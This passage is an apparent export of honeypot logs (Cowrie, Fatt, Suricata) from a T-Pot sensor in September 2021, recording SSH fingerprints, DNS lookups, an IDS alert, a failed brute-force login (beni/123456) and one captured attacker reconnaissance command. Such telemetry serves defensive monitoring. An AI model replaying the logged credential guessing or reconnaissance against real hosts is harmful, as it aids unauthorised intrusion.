"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39334, "timestamp": "2021-09-20T12:09:16.971226", "@timestamp": "2021-09-20T12:09:16.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35492	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:09:17.728365+03	2021-09-20 15:15:03.33269+03	{"_id": "pQYcA3wBvYTbRNuETFxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [beni/123456] failed", "session": "7a92f4444294", "@version": "1", "password": "123456", "username": "beni", "timestamp": "2021-09-20T12:09:17.728365Z", "@timestamp": "2021-09-20T12:09:17.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
35493	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:09:18.568904+03	2021-09-20 15:15:03.333691+03	{"_id": "qQYcA3wBvYTbRNuETlx0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2318, "dest_port": 22, "timestamp": "2021-09-20T12:09:18.568904", "@timestamp": "2021-09-20T12:09:18.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35494	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:09:18.569483+03	2021-09-20 15:15:03.334691+03	{"_id": "qgYcA3wBvYTbRNuEUFw1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "66a7e72efe5a", "@version": "1", "timestamp": "2021-09-20T12:09:18.569483Z", "@timestamp": "2021-09-20T12:09:18.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35495	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:09:10.219015+03	2021-09-20 15:15:03.336691+03	{"_id": "fwYcA3wBvYTbRNuELVwH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a142cb793554", "@version": "1", "duration": 1.34934401512146, "timestamp": "2021-09-20T12:09:10.219015Z", "@timestamp": "2021-09-20T12:09:10.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
35496	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:09:14.544522+03	2021-09-20 15:15:03.33869+03	{"_id": "ggYcA3wBvYTbRNuEPFyp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1a4c95d3411e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:14.544522Z", "@timestamp": "2021-09-20T12:09:14.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35497	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:09:14.814714+03	2021-09-20 15:15:03.33969+03	{"_id": "hAYcA3wBvYTbRNuEPVzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:14.268672+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1733169525692800, "payload": "AAADzAYUeLz8BwoN+Kv86U7u3zim6wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34762, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:14.814714Z", "@timestamp": "2021-09-20T12:09:14.814Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......x...\\n\\r....N..8.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35498	1.116.239.130	109.199.241.180	Fatt	2021-09-20 15:09:14.814714+03	2021-09-20 15:15:03.340691+03	{"_id": "hgYcA3wBvYTbRNuEPlzS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34762, "dest_port": 22, "timestamp": "2021-09-20T12:09:14.814714", "@timestamp": "2021-09-20T12:09:14.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35716	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.142563+03	2021-09-20 15:15:03.628689+03	{"_id": "2AYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.142563Z", "@timestamp": "2021-09-20T12:10:02.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35499	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:14.810296+03	2021-09-20 15:15:03.34269+03	{"_id": "jAYcA3wBvYTbRNuEP1wW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34762, "timestamp": "2021-09-20T12:09:14.810296", "@timestamp": "2021-09-20T12:09:14.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35500	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:09:05.174224+03	2021-09-20 15:15:03.343692+03	{"_id": "XwYcA3wBvYTbRNuEGlyi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31904, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2129, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1187543322305355, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36143, "timestamp": "2021-09-20T12:09:05.174224Z", "@timestamp": "2021-09-20T12:09:05.174Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35501	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:05.509672+03	2021-09-20 15:15:03.34469+03	{"_id": "YAYcA3wBvYTbRNuEGlyi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 56285, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 511968588973800, "@version": "1", "in_iface": "enp5s0", "src_port": 50057, "dest_port": 53, "timestamp": "2021-09-20T12:09:05.509672Z", "@timestamp": "2021-09-20T12:09:05.509Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35502	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:09:05.510929+03	2021-09-20 15:15:03.346691+03	{"_id": "YQYcA3wBvYTbRNuEGlyi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 56285, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2129, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 511968588973800, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50057, "timestamp": "2021-09-20T12:09:05.510929Z", "@timestamp": "2021-09-20T12:09:05.510Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35503	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:09:05.268472+03	2021-09-20 15:15:03.34769+03	{"_id": "ZwYcA3wBvYTbRNuEG1zp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36132, "timestamp": "2021-09-20T12:09:05.268472", "@timestamp": "2021-09-20T12:09:05.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35504	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:09:05.605645+03	2021-09-20 15:15:03.348691+03	{"_id": "awYcA3wBvYTbRNuEG1zq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36134, "timestamp": "2021-09-20T12:09:05.605645", "@timestamp": "2021-09-20T12:09:05.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
